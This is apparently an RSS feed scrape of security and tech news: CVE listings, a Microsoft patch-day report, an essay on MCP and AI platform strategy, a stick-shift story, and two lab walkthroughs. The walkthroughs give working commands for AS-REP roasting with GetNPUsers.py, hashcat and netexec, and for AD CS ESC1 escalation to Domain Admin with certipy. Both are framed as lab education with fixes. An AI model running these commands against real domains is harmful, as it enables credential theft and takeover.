CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201,
CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207,
CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46241, CVE-2026-46273, CVE-2026-46274, CVE-2026-46280,
CVE-2026-46282, CVE-2026-46285, CVE-2026-46286, CVE-2026-46287,
CVE-2026-46291, CVE-2026-46292, CVE-2026-46293, CVE-2026-46294,
CVE-2026-46296, CVE-2026-46299, CVE-2026-46301, CVE-2026-46303,
CVE-2026-46304, CVE-2026-46306, CVE-2026-46307, CVE-2026-46312,
CVE-2026-46314, CVE-2026-46319, CVE-2026-52911, CVE-2026-52920,
CVE-2026-52925, CVE-2026-52933, CVE-2026-52936, CVE-2026-52951,
CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958,
CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964,
CVE-2026-52967, CVE-2026-52968, CVE-2026-52969, CVE-2026-52970,
CVE-2026-52974, CVE-2026-52975, CVE-2026-52977, CVE-2026-52981,
CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986,
CVE-2026-52989, CVE-2026-52990, CVE-2026-52992, CVE-2026-52993,
CVE-2026-52995, CVE-2026-52998, CVE-2026-52999, CVE-2026-53001,
CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53006,
CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014,
CVE-2026-53015, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034,
CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53039,
CVE-2026-53040, CVE-2026-53041, CVE-2026-53043, CVE-2026-53045,
CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049,
CVE-2026-53050, CVE-2026-53052, CVE-2026-53056, CVE-2026-53058,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066,
CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072,
CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53076,
CVE-2026-53077, CVE-2026-53082, CVE-2026-53083, CVE-2026-53084,
CVE-2026-53085, CVE-2026-53086, CVE-2026-53088, CVE-2026-53093,
CVE-2026-53094, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098,
CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53115,
CVE-2026-53117, CVE-2026-53122, CVE-2026-53123, CVE-2026-53126,
CVE-2026-53128, CVE-2026-53130, CVE-2026-53279, CVE-2026-53287,
CVE-2026-53289, CVE-2026-53291, CVE-2026-53293, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53303, CVE-2026-53304,
CVE-2026-53306, CVE-2026-53309, CVE-2026-53314, CVE-2026-53320)]]></content:encoded>
</item>
<item>
<title><![CDATA[Loop Engineering with Adaptive Parsing in Action: Parsing Flat Tables with Azure and Figures with a Vision LLM]]></title>
<description><![CDATA[Enterprise Document Intelligence [Vol.1 #10B] - The LLM as last line of defence, then two real escalations walked end to end: a flat table to Azure, a figure to a vision model
The post Loop Engineering with Adaptive Parsing in Action: Parsing Flat Tables with Azure and Figures with a Vision LLM a...]]></description>
<link>https://tsecurity.de/de/3681473/ai-nachrichten/loop-engineering-with-adaptive-parsing-in-action-parsing-flat-tables-with-azure-and-figures-with-a-vision-llm/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681473/ai-nachrichten/loop-engineering-with-adaptive-parsing-in-action-parsing-flat-tables-with-azure-and-figures-with-a-vision-llm/</guid>
<pubDate>Mon, 20 Jul 2026 17:03:41 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprise Document Intelligence [Vol.1 #10B] - The LLM as last line of defence, then two real escalations walked end to end: a flat table to Azure, a figure to a vision model</p>
<p>The post <a href="https://towardsdatascience.com/loop-engineering-with-adaptive-parsing-in-action-parsing-flat-tables-with-azure-and-figures-with-a-vision-llm/">Loop Engineering with Adaptive Parsing in Action: Parsing Flat Tables with Azure and Figures with a Vision LLM</a> appeared first on <a href="https://towardsdatascience.com/">Towards Data Science</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rekord-Patch-Day: Microsoft schließt 570–622 Lücken und warnt vor Zero Days - it boltwise]]></title>
<description><![CDATA[Genannt werden u. a. Windows, Office, Azure, Dynamics, SQL Server und der KI-Assistent Copilot. Die Behörden warnen vor Angriffen aus der Ferne, die ...]]></description>
<link>https://tsecurity.de/de/3681459/windows-server/rekord-patch-day-microsoft-schliesst-570-622-luecken-und-warnt-vor-zero-days-it-boltwise/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681459/windows-server/rekord-patch-day-microsoft-schliesst-570-622-luecken-und-warnt-vor-zero-days-it-boltwise/</guid>
<pubDate>Mon, 20 Jul 2026 17:01:11 +0200</pubDate>
<category>🪟 Windows Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Genannt werden u. a. <b>Windows</b>, Office, Azure, Dynamics, SQL <b>Server</b> und der KI-Assistent Copilot. Die Behörden warnen vor Angriffen aus der Ferne, die ...]]></content:encoded>
</item>
<item>
<title><![CDATA[The gravitational pull of AI]]></title>
<description><![CDATA[Last year Anthropic gave away one of the most successful things it has ever built. And, no, I’m not talking about Claude. I’m referring to MCP, the now ubiquitous Model Context Protocol, which Anthropic donated to the Linux Foundation’s new Agentic AI Foundation⁠. At the time, MCP was pulling nea...]]></description>
<link>https://tsecurity.de/de/3680668/ai-nachrichten/the-gravitational-pull-of-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680668/ai-nachrichten/the-gravitational-pull-of-ai/</guid>
<pubDate>Mon, 20 Jul 2026 11:04:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Last year Anthropic gave away one of the most successful things it has ever built. And, no, I’m not talking about Claude. I’m referring to MCP, the now ubiquitous Model Context Protocol, which Anthropic <a href="https://anthropic.com/news/donating-the-model-context-protocol-and-establishing-of-the-agentic-ai-foundation">donated to the Linux Foundation’s new Agentic AI Foundation</a>⁠. At the time, MCP was <a href="https://blog.modelcontextprotocol.io/posts/2025-12-09-mcp-joins-agentic-ai-foundation/">pulling nearly 100 million monthly SDK downloads</a> across more than 10,000 active servers⁠, prompting the question as to why any company would give up such a popular piece of technology.</p>



<p class="wp-block-paragraph">Google did much the same months earlier, <a href="https://developers.googleblog.com/en/google-cloud-donates-a2a-to-linux-foundation/">handing its Agent2Agent (A2A) protocol</a> to the Linux Foundation⁠ with AWS, Cisco, Microsoft, Salesforce, SAP, and ServiceNow signing on as founding members. OpenAI, not to be outdone, <a href="https://openai.com/index/new-tools-and-features-in-the-responses-api/">supports remote MCP servers in its Responses API</a>⁠, sits on the MCP steering committee, and contributed AGENTS.md to that same foundation alongside its fiercest rival’s protocol.</p>



<p class="wp-block-paragraph">It’s like <em>Game of Thrones</em>, except the principal AI powers seek regime change through seeming acts of beneficence rather than violence. For those who have been around for a while, it’s also entirely predictable, following a similar script we’ve seen in the cloud, on-premises servers, and more. Platform companies don’t give away technologies they’ve stopped caring about. They give away technologies they no longer need to own because competitive advantage has shifted to new ground.</p>



<p class="wp-block-paragraph">What does this mean for AI?</p>



<h2 class="wp-block-heading"><a></a>Gravity has shifted before</h2>



<p class="wp-block-paragraph">Google has long been an exceptionally active contributor to open source. <a href="https://www.infoworld.com/article/2260293/open-source-innovation-is-now-all-about-vendor-on-ramps-2.html">As I wrote in 2017</a>, Google wasn’t open sourcing TensorFlow and Kubernetes out of generosity but rather turning these open source assets into on-ramps for Google Cloud. Google was playing catch-up to AWS and Microsoft. As <a href="https://www.infoworld.com/article/2248699/why-kubernetes-is-winning-the-container-war.html">then Google product manager Martin Buhr said</a>, the company hoped to “create a gravity well in the market for container-based apps [so] that a significant percentage of them will end up with us.”</p>



<p class="wp-block-paragraph">In other words, platform companies routinely commoditize one layer of the stack so they can compete somewhere they hold a stronger hand.</p>



<p class="wp-block-paragraph">GitHub may be an even better example. <a href="https://www.infoworld.com/article/2334697/what-is-git-version-control-for-collaborative-programming.html">Git </a>is open. Anyone can host a Git repository and, once upon a time, different companies did just that. Yet <a href="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html">GitHub </a>became the default place software development happens for millions of developers. Nobody pays for Git, but lots of people pay for GitHub. We’re seeing this same phenomenon play out in AI.</p>



<h2 class="wp-block-heading">Trading contributions for control</h2>



<p class="wp-block-paragraph">Anthrophic and OpenAI have both pretended at being all for humanity’s good, but that’s not a good explanation for why they’re racing to give away things like <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>. The deeper reason is that the model itself has turned out to be a poor place to build a lasting moat, and they’re trying to figure out what’s next. <a href="https://www.infoworld.com/article/4195842/which-ai-model-should-you-bet-your-company-on-none-of-them.html">As I pointed out recently</a>, the frontier model leaderboards change almost weekly. As such, enterprises shouldn’t build their AI strategy around the assumption that any one vendor will remain permanently ahead on model quality. Instead, as I suggested, AI may be sexy, but the “dull reality” is connecting those models to enterprise data, workflows, etc.</p>



<p class="wp-block-paragraph">The AI companies understand this better than anyone. Sure, they’ll continue spending billions training ever more capable models because frontier models attract developers, generate headlines, and open enterprise doors. But they’re also quietly acknowledging that benchmark leadership alone doesn’t create a durable platform.</p>



<p class="wp-block-paragraph">Developers return to the places where their tools, workflows, teammates, and accumulated work already live. Enterprises double down on the systems where their data, permissions, governance, and business processes are already connected. Every new integration makes that destination a little harder to leave, and every new workflow increases its pull. That’s what MCP, A2A, etc., are all about: increasing gravity around the models.</p>



<p class="wp-block-paragraph">Every major AI company wants to become the place where AI-assisted work naturally happens, and they’re now amassing armies of forward deployed engineers and trying other means to get legacy infrastructure to tie back to their frontier models. The enterprise incumbents want the same thing, but from the opposite direction. They don’t need to own the frontier; instead they need to connect the frontier to the systems that already safely run the business.</p>



<p class="wp-block-paragraph">That’s why I’m skeptical whenever someone confidently predicts that AI will sweep away enterprise software. I’ve seen this movie before. Developers absolutely live on the frontier, but enterprises don’t. Enterprises create value by connecting new capabilities to decades of accumulated applications, data, policies, and business processes. The newest model matters, and so does the newest agent framework. But neither creates much business value until it’s connected to customer records, financial systems, supply chains, HR data, and everything else enterprises already depend on.</p>



<p class="wp-block-paragraph">That’s where incumbents still possess enormous gravitational pull. My employer, Oracle, certainly believes so, just as Microsoft, SAP, Salesforce, and ServiceNow do. (Disclosure: I run developer relations at Oracle, which participates in the Agentic AI Foundation.) Ironically, open protocols strengthen that position rather than weaken it. If every model can speak MCP and every agent can interoperate through common standards, enterprises gain the freedom to adopt whichever frontier technology looks best without rebuilding every integration. The protocol becomes interchangeable.</p>



<h2 class="wp-block-heading">Open standards don’t stop gravity</h2>



<p class="wp-block-paragraph">None of this diminishes the importance of open standards. MCP succeeded because it solves a genuine problem. Developers shouldn’t have to build a custom connector every time an AI application needs access to a database or other business system. Neutral governance also matters because nobody wants foundational infrastructure controlled by a direct competitor. But we shouldn’t confuse open interfaces with open markets.</p>



<p class="wp-block-paragraph">An enterprise may find it easy to swap one MCP-compatible model for another while still remaining deeply dependent on the place where its prompts, evaluations, security policies, and employee habits have accumulated. Again, we’ve seen this before. Kubernetes made workloads dramatically more portable without making AWS, Azure, and Google Cloud interchangeable. SQL has been standardized for decades, yet databases remain fiercely differentiated businesses. Standards reduce friction, but they rarely eliminate competitive advantage. They simply move it.</p>



<p class="wp-block-paragraph">In like manner, Anthropic, Google, OpenAI, and others are happily standardizing how models, agents, tools, and enterprise systems communicate because they don’t expect the connection itself to determine the winner. Instead they expect to win by becoming the place where AI-assisted work naturally accumulates. Along the way, we’re going to see copious quantities of code given away, increasing developer productivity for all and outsized financial bonanzas for a few. Game on.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rekord-Patch-Day: Microsoft schließt 570–622 Lücken, 3 Zero Days aktiv - ad-hoc-news.de]]></title>
<description><![CDATA[Die als CIAD-2026-0035 gekennzeichnete Mitteilung betrifft Windows, Office, Azure, Dynamics, SQL Server und den KI-Assistenten Copilot. Die ...]]></description>
<link>https://tsecurity.de/de/3680047/windows-server/rekord-patch-day-microsoft-schliesst-570-622-luecken-3-zero-days-aktiv-ad-hoc-newsde/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680047/windows-server/rekord-patch-day-microsoft-schliesst-570-622-luecken-3-zero-days-aktiv-ad-hoc-newsde/</guid>
<pubDate>Mon, 20 Jul 2026 00:16:05 +0200</pubDate>
<category>🪟 Windows Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Die als CIAD-2026-0035 gekennzeichnete Mitteilung betrifft <b>Windows</b>, Office, Azure, Dynamics, SQL <b>Server</b> und den KI-Assistenten Copilot. Die ...]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-50653 | Microsoft Azure Active Directory up to 8.19.1 infinite loop]]></title>
<description><![CDATA[A vulnerability was found in Microsoft Azure Active Directory up to 8.19.1 and classified as critical. Affected by this issue is some unknown functionality. The manipulation results in infinite loop.

This vulnerability is reported as CVE-2026-50653. The attack can be launched remotely. No exploi...]]></description>
<link>https://tsecurity.de/de/3679990/sicherheitsluecken/cve-2026-50653-microsoft-azure-active-directory-up-to-8191-infinite-loop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679990/sicherheitsluecken/cve-2026-50653-microsoft-azure-active-directory-up-to-8191-infinite-loop/</guid>
<pubDate>Sun, 19 Jul 2026 23:08:50 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/microsoft:azure_active_directory">Microsoft Azure Active Directory up to 8.19.1</a> and classified as <a href="https://vuldb.com/kb/risk">critical</a>. Affected by this issue is some unknown functionality. The manipulation results in infinite loop.

This vulnerability is reported as <a href="https://vuldb.com/cve/CVE-2026-50653">CVE-2026-50653</a>. The attack can be launched remotely. No exploit exists.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-50652 | Microsoft Azure Active Directory up to 5.7.0 Deserialization deserialization]]></title>
<description><![CDATA[A vulnerability has been found in Microsoft Azure Active Directory up to 5.7.0 and classified as critical. Affected by this vulnerability is an unknown functionality of the component Deserialization Handler. The manipulation leads to deserialization.

This vulnerability is documented as CVE-2026-...]]></description>
<link>https://tsecurity.de/de/3679989/sicherheitsluecken/cve-2026-50652-microsoft-azure-active-directory-up-to-570-deserialization-deserialization/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679989/sicherheitsluecken/cve-2026-50652-microsoft-azure-active-directory-up-to-570-deserialization-deserialization/</guid>
<pubDate>Sun, 19 Jul 2026 23:08:48 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability has been found in <a href="https://vuldb.com/product/microsoft:azure_active_directory">Microsoft Azure Active Directory up to 5.7.0</a> and classified as <a href="https://vuldb.com/kb/risk">critical</a>. Affected by this vulnerability is an unknown functionality of the component <em>Deserialization Handler</em>. The manipulation leads to deserialization.

This vulnerability is documented as <a href="https://vuldb.com/cve/CVE-2026-50652">CVE-2026-50652</a>. The attack can be initiated remotely. There is not any exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-47632 | Microsoft Azure Monitor Agent up to 1.64 certificate validation]]></title>
<description><![CDATA[A vulnerability labeled as problematic has been found in Microsoft Azure Monitor Agent up to 1.64. Impacted is an unknown function. Such manipulation leads to improper certificate validation.

This vulnerability is documented as CVE-2026-47632. The attack can be executed remotely. There is not an...]]></description>
<link>https://tsecurity.de/de/3678741/sicherheitsluecken/cve-2026-47632-microsoft-azure-monitor-agent-up-to-164-certificate-validation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678741/sicherheitsluecken/cve-2026-47632-microsoft-azure-monitor-agent-up-to-164-certificate-validation/</guid>
<pubDate>Sun, 19 Jul 2026 04:09:03 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability labeled as <a href="https://vuldb.com/kb/risk">problematic</a> has been found in <a href="https://vuldb.com/product/microsoft:azure_monitor_agent">Microsoft Azure Monitor Agent up to 1.64</a>. Impacted is an unknown function. Such manipulation leads to improper certificate validation.

This vulnerability is documented as <a href="https://vuldb.com/cve/CVE-2026-47632">CVE-2026-47632</a>. The attack can be executed remotely. There is not any exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[The 'Death of the Stick Shift' is Almost Here for Americans]]></title>
<description><![CDATA[Last year just 0.6% of new vehicles made for U.S. customers were stick shifts, reports the Washington Post, citing preliminary government data. 

"That's a precipitous drop from the 34.6 percent of vehicles with manual transmissions produced in 1980."


[T]he stick shift's popularity hit multiple...]]></description>
<link>https://tsecurity.de/de/3678159/it-security-nachrichten/the-death-of-the-stick-shift-is-almost-here-for-americans/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678159/it-security-nachrichten/the-death-of-the-stick-shift-is-almost-here-for-americans/</guid>
<pubDate>Sat, 18 Jul 2026 16:52:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Last year just 0.6% of new vehicles made for U.S. customers were stick shifts, reports the Washington Post, citing preliminary government data. 

"That's a precipitous drop from the 34.6 percent of vehicles with manual transmissions produced in 1980."


[T]he stick shift's popularity hit multiple new lows in recent years, with no signs of a turnaround, thanks to new technologies and a rapidly changing marketplace. Buyers and automakers increasingly have turned to the sophisticated automatic drivetrains that now smoothly swap gears in fractions of a second and with better fuel efficiency. The average new vehicle today comes with seven gears, thanks to computers, twice as many as in 1980 and more gears than any ordinary driver would want to shift through using a manual gearbox. At the same time, sporty cars — the kind that buyers might demand a stick shift to drive — have fallen out of favor, replaced by interest in hulking SUVs, which are almost always automatics. The stick shift's demise has been hastened, too, by the rise of electric vehicles and increasingly autonomous vehicles. Neither have any need for a manual transmission... 


Europe has seen a less dramatic decline in stick shifts, with manual transmissions dropping from 91 percent of car registrations in 2001 to 29 percent in 2024 among Europe's largest auto markets, according to industry analyst JATO Dynamics... Subaru made its name with manual cars. But the Japanese automaker stopped offering a manual Crosstrek with the 2023 model year, having already dropped that transmission from its Legacy, Outback and Forester models. Other automakers have followed the same path. Volkswagen announced that it plans this year to ditch its last U.S. stick-shift model, the Jetta GLI. 

Even Toyota, Honda, and BMW have all reduced the number of cars for the U.S. market with a manual transmission, the article points out — leaving stick shift-loving Americans with a total of about 24 new-vehicle models to choose from. The articles adds that only 60% of Americans know how to drive a manual transmission (according to a survey from auto parts retailer AmericanMuscle): 83% for baby boomers but 39% for Gen Z. "Respondents were about evenly split on whether knowing how to drive a manual is an important life skill." 

But Ford CEO Jim Farley said earlier this year he has no plans to make the Mustang automatic-only.
"Out of our cold, dead hands will we not have a manual Mustang." Farley said.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=The+'Death+of+the+Stick+Shift'+is+Almost+Here+for+Americans%3A+https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F07%2F18%2F0239231%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F07%2F18%2F0239231%2Fthe-death-of-the-stick-shift-is-almost-here-for-americans%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://tech.slashdot.org/story/26/07/18/0239231/the-death-of-the-stick-shift-is-almost-here-for-americans?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How I AES-Roasted My Active Directory Lab (And How to Fix It)]]></title>
<description><![CDATA[AS-REP Roasting is one of the easiest ways to obtain Active Directory credentials without knowing a password. If a user has Kerberos Preauthentication disabled, the Domain Controller returns an AS-REP response that can be cracked offline.In this lab, I’ll show how I found a vulnerable account, cr...]]></description>
<link>https://tsecurity.de/de/3677785/hacking/how-i-aes-roasted-my-active-directory-lab-and-how-to-fix-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677785/hacking/how-i-aes-roasted-my-active-directory-lab-and-how-to-fix-it/</guid>
<pubDate>Sat, 18 Jul 2026 11:39:18 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3Qej6ZBLHabmXE6oZO8CZw.png"></figure><p>AS-REP Roasting is one of the easiest ways to obtain Active Directory credentials <strong>without knowing a password</strong>. If a user has <strong>Kerberos Preauthentication disabled</strong>, the Domain Controller returns an AS-REP response that can be cracked offline.</p><p>In this lab, I’ll show how I found a vulnerable account, cracked its password, and authenticated to the domain.</p><h3>Lab</h3><ul><li>Domain: lab.local</li><li>DC: 192.168.56.104</li><li>Attacker: Kali Linux</li></ul><h3>Step 1 — Guess Usernames</h3><p>The first step is getting valid usernames.</p><p>In a real environment, these could come from LinkedIn, company emails, or OSINT. For this lab, I created a simple users.txt file.</p><h3>Step 2 — Find Vulnerable Accounts</h3><p>I used <strong>GetNPUsers.py</strong> to check whether any user has Kerberos preauthentication disabled.</p><pre>GetNPUsers.py lab.local/ -usersfile users.txt -dc-ip 192.168.56.104 -no-pass</pre><p>If an account is vulnerable, Impacket returns an AS-REP hash.</p><p>In my lab, the account <strong>svc_sql</strong> was vulnerable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*opmClNnubizWsJ_lb710DQ.png"></figure><h3>Step 3 — Crack the Hash</h3><p>Next, I saved the hash into hash.txt and cracked it with Hashcat.</p><pre>hashcat -m 18200 hash.txt /home/&lt;user&gt;/Desktop/GOAD-LAB/GOAD/common-password-list/rockyou.txt</pre><p>Hashcat recovered the password:</p><pre>svc_sql : password@123</pre><p>Since this is an <strong>offline attack</strong>, the Domain Controller never sees the password guesses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CUHP4nPsKVTRRhpEv2IlpA.png"></figure><h3>Step 4 — Verify the Credentials</h3><p>Finally, I verified the recovered password using NetExec.</p><pre>netexec smb 192.168.56.104 -u svc_sql -p 'password@123'</pre><p>Authentication was successful, confirming the credentials were valid.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mb2bcS4OR-v-hGZpme49WQ.png"></figure><h3>Why Does This Work?</h3><p>The account had <strong>“Do not require Kerberos Preauthentication”</strong> enabled.</p><p>Because of this, the Domain Controller returned an encrypted AS-REP response <strong>without asking for a password</strong>, allowing it to be cracked offline.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*fC4iUheghHwM2dXIo0L0-A.png"></figure><p>If we disable <strong>“Do not require Kerberos Preauthentication” </strong>will get output like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OMfML99LRPMkMTCliD1wzA.png"></figure><h3>How to Prevent AS-REP Roasting</h3><p>1. Enable Kerberos Preauthentication</p><p>2.Use strong passwords for service accounts</p><p>3. Use Group Managed Service Accounts (gMSA)</p><p>4. Regularly audit accounts with preauthentication disabled</p><p>5. Monitor Kerberos authentication events</p><p><strong>Disclaimer:</strong> <em>This article is written entirely for educational purposes and to help Active Directory administrators better defend their environments against advanced Kerberos attacks. The AES-Roasting attack showcased here was conducted in a controlled, self-hosted lab environment. Unsanctioned exploitation of these techniques on live, production systems without explicit authorization is strictly against the law. The author is not responsible for any malicious use of this material.</em></p><p><em>— Written by</em></p><p><strong>Aruvasaga Chithan A</strong></p><p><strong>Ethical Hacker &amp; Cyber Security Researcher.</strong></p><p><strong>Thanks for reading — your support keeps me writing.</strong><br><strong>See you in the next article…</strong></p><p><a href="http://www.linkedin.com/in/aruvasaga-chithan"><em>Linkedin</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=2bc057a8a20e" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-aes-roasted-my-active-directory-lab-and-how-to-fix-it-2bc057a8a20e">How I AES-Roasted My Active Directory Lab (And How to Fix It)</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How I Escalated to Domain Admin Using AD CS (And How to Fix It)]]></title>
<description><![CDATA[What is AD CS?Active Directory Certificate Services (AD CS) allows users and computers to obtain certificates for authentication, encryption, and other services.If certificate templates are misconfigured, attackers can request certificates for other users, including Domain Administrators, leading...]]></description>
<link>https://tsecurity.de/de/3677784/hacking/how-i-escalated-to-domain-admin-using-ad-cs-and-how-to-fix-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677784/hacking/how-i-escalated-to-domain-admin-using-ad-cs-and-how-to-fix-it/</guid>
<pubDate>Sat, 18 Jul 2026 11:39:17 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IwcmPEl9c14DK-2hWY1W1g.png"></figure><h3>What is AD CS?</h3><p><strong>Active Directory Certificate Services (AD CS)</strong> allows users and computers to obtain certificates for authentication, encryption, and other services.</p><p>If certificate templates are misconfigured, attackers can request certificates for <strong>other users</strong>, including <strong>Domain Administrators</strong>, leading to privilege escalation.</p><p>In this lab, I exploited an <strong>ESC1</strong> certificate template misconfiguration.</p><h3>Lab Setup</h3><ul><li><strong>Domain:</strong> LAB.LOCAL</li><li><strong>Domain Controller:</strong> 192.168.56.104</li><li><strong>Certificate Authority:</strong> lab-DC1-CA</li><li><strong>Attacker:</strong> bob</li></ul><h3>Step 1 — Enumerate AD CS</h3><p>First, I looked for vulnerable certificate templates using <strong>Certipy</strong>.</p><pre>certipy-ad find -u bob@lab.local -p 'password@123' -dc-ip 192.168.56.104 -dc-host DC1.lab.local -target DC1.lab.local -ldap-scheme ldap -vulnerable -debug</pre><p>Certipy identified a vulnerable template named:</p><pre>ESC1-Lab</pre><p>This template allowed the requester to specify an arbitrary <strong>User Principal Name (UPN)</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MMCsemUil50u2bqrh-1jHA.png"></figure><h3>Step 2 — Request an Administrator Certificate</h3><p>Since the template was vulnerable, I requested a certificate while impersonating the <strong>Administrator</strong> account.</p><pre>certipy-ad req -u bob@lab.local -p 'Password@123' -ca lab-DC1-CA -template ESC1-Lab -upn Administrator@lab.local -dc-ip 192.168.56.104</pre><p>Certipy successfully issued an <strong>Administrator certificate</strong> and saved it as:</p><pre>administrator.pfx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-_feIP7X-uB2A68CtwlfQA.png"></figure><h3>Step 3 — Authenticate as Administrator</h3><p>Finally, I authenticated using the issued certificate.</p><pre>certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.56.104</pre><p>Authentication succeeded, allowing me to impersonate the <strong>Domain Administrator</strong> without ever knowing the Administrator’s password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vh8aenq802cDnuJT2GG2rQ.png"></figure><h3>Why Did This Work?</h3><p>The certificate template was vulnerable to <strong>ESC1</strong> because it:</p><ul><li>Allowed users to enroll.</li><li>Allowed the requester to supply any UPN.</li><li>Was trusted for client authentication.</li></ul><p>This meant Bob could request a certificate for <strong>Administrator@lab.local</strong> and authenticate as that user.</p><h3>How to Fix It</h3><p>To prevent ESC1 attacks:</p><p>1.Disable <strong>“Supply in the request”</strong> unless absolutely necessary.</p><p>2. Restrict enrollment permissions to trusted users.</p><p>3. Review certificate templates regularly.</p><p>4. Remove unnecessary Client Authentication EKUs.</p><p>5. Audit AD CS with tools like <strong>Certipy</strong> and <strong>BloodHound</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*nXg7Fgi0SkhyFf5sYadGyg.png"></figure><h3>Verify the Fix</h3><p>Run the enumeration again.</p><pre>certipy-ad find -u bob@lab.local -p 'password@123' -dc-ip 192.168.56.104 -vulnerable</pre><p>If the template is properly secured, <strong>ESC1-Lab</strong> should no longer appear as vulnerable.</p><h3>Key Takeaways</h3><p>1. Regularly audit AD CS templates.</p><p>2. Follow the principle of least privilege.</p><p>3. Restrict certificate enrollment permissions.</p><p>4. Monitor certificate enrollment 